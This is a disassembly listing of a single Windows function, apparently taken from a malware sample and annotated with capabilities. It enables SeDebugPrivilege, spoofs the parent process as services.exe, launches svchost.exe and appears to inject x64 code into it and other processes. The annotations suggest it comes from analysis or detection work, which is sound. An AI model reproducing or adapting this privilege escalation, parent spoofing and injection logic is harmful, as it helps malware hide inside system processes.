Function at 0x10001179
Capabilities:
Acquire debug privileges
Create process on windows
Spoof parent pid

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x48c
lea esi, [esp + 0x34]
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100011ea
lea eax, [esp + 0x290]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x100011e0
lea eax, [esp + 0x28c]
xor ecx, ecx
mov dword [eax], 1
mov dword [eax + 0xc], 2
push ecx
push ecx
push 0x10
push eax
push ecx
push dword [esp + 0x48]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, esp
mov ecx, edi
call fcn.10001d78
call fcn.10001d5c
lea ebp, [esp + 0x40]
mov dword [esp + 0xc], eax
push eax
push 0x101093c6
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, edi
push eax
push ebp
call fcn.10001e6e
push dword [esp + 0x4a4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
mov dword [esp + 8], eax
mov dword [esp + 0x188], esi
call fcn.10001c35
mov dword [esp + 0x20], eax
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x10001275
mov ebx, eax
lea esi, [esp + 0x108]
push 0x40
push esi
push eax
call fcn.10001ade
test al, al
je 0x1000126e
push esi
push 0x10001935
call fcn.10001a14
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x188]
push str.pe:N_
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
cmp dword [esp + 0x188], 0
je 0x100012ce
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor esi, esi
mov ebx, esp
push dword [esp + esi*4 + 0x18c]
push esi
push 0x101093d2
push ebp
call edi
add esp, 0x10
mov ecx, ebx
push eax
push ebp
call fcn.10001e6e
inc esi
cmp esi, dword [esp + 0x188]
jb 0x100012a8
lea esi, [esp + 0x3c]
mov dword [esi], 0
push esi
push 0x100019d5
call fcn.10001a14
cmp dword [esi], 1
jne 0x1000130b
push 0x10109076
lea esi, [esp + 0x44]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov ecx, esp
push eax
push esi
call fcn.10001e6e
xor edi, edi
jmp 0x1000190d
mov eax, dword [esp + 8]
lea eax, [eax + eax + 2]
mov dword [esp + 8], eax
call fcn.10001bb6
xor esi, esi
test al, al
mov edi, 0
lea ebp, [esp + 0x40]
je 0x100014ec
push 0x10109442
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
push dword [esp + 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
xor ebx, ebx
test eax, eax
mov dword [esp + 0x10], eax
je 0x10001452
lea edi, [esp + 0x38]
mov dword [edi], ebx
push edi
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
je 0x10001459
xor ebx, ebx
push edi
push ebx
push 1
push eax
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov edi, 4
lea eax, [esp + 0x10]
push ebx
push ebx
push edi
push eax
push 0x20000
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea eax, [esp + 0x28c]
push str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [esp + 0xc0]
xor eax, eax
mov ecx, 0x10
add edi, edx
rep stosd dword es:[edi], eax
mov edi, edx
lea eax, [esp + 0x18]
mov dword [edx], 0x48
mov dword [esp + 0x14], ebp
mov dword [edx + 0x44], ebp
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
test eax, eax
je 0x10001460
lea eax, [esp + 0x24]
push eax
push edi
push ebx
push ebx
push 0x80404
push ebx
push ebx
push ebx
lea eax, [esp + 0x2ac]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001473
push dword [esp + 8]
push dword [esp + 0x4a8]
push 0x105000
push 0x1000300c
push 2
push 0x8664
push dword [esp + 0x40]
push dword [esp + 0x40]
lea eax, [esp + 0x20]
push eax
call fcn.10001f18
add esp, 0x24
mov edi, eax
test eax, eax
je 0x1000147a
xor ebx, ebx
jmp 0x10001487
mov edi, 0x14
jmp 0x100014cb
mov edi, 0x15
jmp 0x100014c1
mov dword [esp + 0x1c], 0
mov edi, 0x16
lea ebp, [esp + 0x40]
jmp 0x100014ab
mov edi, 0x17
jmp 0x10001499
cmp dword [esp + 0xc], 0
mov bl, 1
je 0x100017d9
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x28]
call ebp
push dword [esp + 0x24]
call ebp
lea ebp, [esp + 0x40]
mov dword [esp + 0x1c], ebx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov ebx, dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [esp + 0x1c]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x10109378
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
test bl, bl
jne 0x1000190d
push 0x10109436
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
cmp dword [esp + 0x188], 0
je 0x10001598
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
push dword [esp + esi*4 + 0x18c]
push 0
push 0x1fffff
call ebp
test eax, eax
je 0x10001584
mov ebx, eax
push dword [esp + 8]
push dword [esp + 0x4a8]
push 0x105000
push 0x1000300c
push 1
push 0x8664
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x20]
push eax
call fcn.10001f18
add esp, 0x24
test eax, eax
mov edi, eax
sete cl
or eax, dword [esp + 0xc]
jne 0x10001577
mov eax, esp
push eax
push ebx
call fcn.100010ed
add esp, 8
xor ecx, ecx
push ebx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x10001586
xor eax, eax
inc esi
mov ebx, eax
test al, al
jne 0x1000159a
cmp esi, dword [esp + 0x188]
jb 0x1000151a
jmp 0x1000159a
xor ebx, ebx
push edi
push esi
push 0x101093a2
lea esi, [esp + 0x4c]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ebp, esp
mov ecx, ebp
push eax
push esi
call fcn.10001e6e
test bl, bl
jne 0x1000190d
push 0x1010942a
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov ecx, ebp
push eax
push esi
call fcn.10001e6e
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
push dword [esi*4 + section..rdata]
call fcn.10001a76
push eax
push 0
push 0x1fffff
call ebp
test eax, eax
je 0x10001652
mov ebx, eax
push dword [esp + 8]
push dword [esp + 0x4a8]
push 0x105000
push 0x1000300c
push 1
push 0x8664
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x20]
push eax
call fcn.10001f18
add esp, 0x24
test eax, eax
mov edi, eax
sete cl
or eax, dword [esp + 0xc]
jne 0x10001645
mov eax, esp
push eax
push ebx
call fcn.100010ed
add esp, 8
xor ecx, ecx
push ebx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x10001654
xor eax, eax
cmp esi, 1
lea esi, [esi + 1]
ja 0x10001660
test al, al
je 0x100015e2
push edi
push esi
push 0x1010938a
lea ebp, [esp + 0x4c]
push ebp
mov ebx, eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
test bl, bl
jne 0x1000190d
call fcn.10001bb6
test al, al
je 0x10001875
push 0x1010941e
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
mov eax, str.C:WindowsSystem32_services.exe
lea ebp, [esp + 0x28c]
mov dword [ebp], eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor ebx, ebx
mov dword [ebp + 4], eax
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
push ebp
push 0x1000103c
call fcn.10001a14
mov esi, dword [ebp + 0xc]
test esi, esi
mov dword [esp + 0x10], esi
je 0x100017ce
lea edi, [esp + 0x38]
mov dword [edi], ebx
push edi
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
je 0x100017ed
xor ebx, ebx
push edi
push ebx
push 1
push eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov edi, 4
lea eax, [esp + 0x10]
push ebx
push ebx
push edi
push eax
push 0x20000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [esp + 0xc0]
xor eax, eax
mov ecx, 0x10
add edi, edx
rep stosd dword es:[edi], eax
mov dword [edx], 0x48
mov dword [esp + 0x14], esi
mov dword [edx + 0x44], esi
mov esi, edx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
test eax, eax
je 0x100017f8
lea eax, [esp + 0x24]
push eax
push esi
push ebx
push ebx
push 0x80404
push ebx
push ebx
push ebx
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001803
push dword [esp + 8]
push dword [esp + 0x4a8]
push 0x105000
push 0x1000300c
push 2
push 0x8664
push dword [esp + 0x40]
push dword [esp + 0x40]
lea eax, [esp + 0x20]
push eax
call fcn.10001f18
add esp, 0x24
mov edi, eax
test eax, eax
lea ebp, [esp + 0x40]
je 0x1000180e
xor ebx, ebx
jmp 0x1000181b
mov edi, 0x14
lea ebp, [esp + 0x40]
jmp 0x10001854
mov eax, esp
push eax
push dword [esp + 0x28]
call fcn.100010ed
add esp, 8
jmp 0x1000144e
mov edi, 0x15
lea ebp, [esp + 0x40]
jmp 0x1000184d
mov edi, 0x16
lea ebp, [esp + 0x40]
jmp 0x10001837
mov edi, 0x17
lea ebp, [esp + 0x40]
jmp 0x1000182d
cmp dword [esp + 0xc], 0
mov bl, 1
je 0x10001921
push dword [esp + 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x24]
call esi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x10109366
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esp
push eax
push ebp
call fcn.10001e6e
test bl, bl
jne 0x1000190d
push 0x10109412
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov edx, ebp
mov ebp, esp
mov ecx, ebp
push eax
push edx
call fcn.10001e6e
push dword [esp + 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x100018eb
mov ebx, eax
push dword [esp + 8]
push dword [esp + 0x4a8]
push 0x105000
push 0x1000300c
push 1
push 0x8664
push 0xffffffffffffffff
push eax
push ebp
call fcn.10001f18
add esp, 0x24
or dword [esp + 0xc], eax
mov edi, eax
jne 0x100018e2
push ebp
push ebx
call fcn.100010ed
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100018f0
mov edi, 0x1d
push edi
push 0x10109354
lea esi, [esp + 0x48]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esp
push eax
push esi
call fcn.10001e6e
mov ecx, esp
call fcn.10001e5e
mov eax, edi
add esp, 0x48c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, esp
push eax
push dword [esp + 0x28]
call fcn.100010ed
add esp, 8
jmp 0x100017ca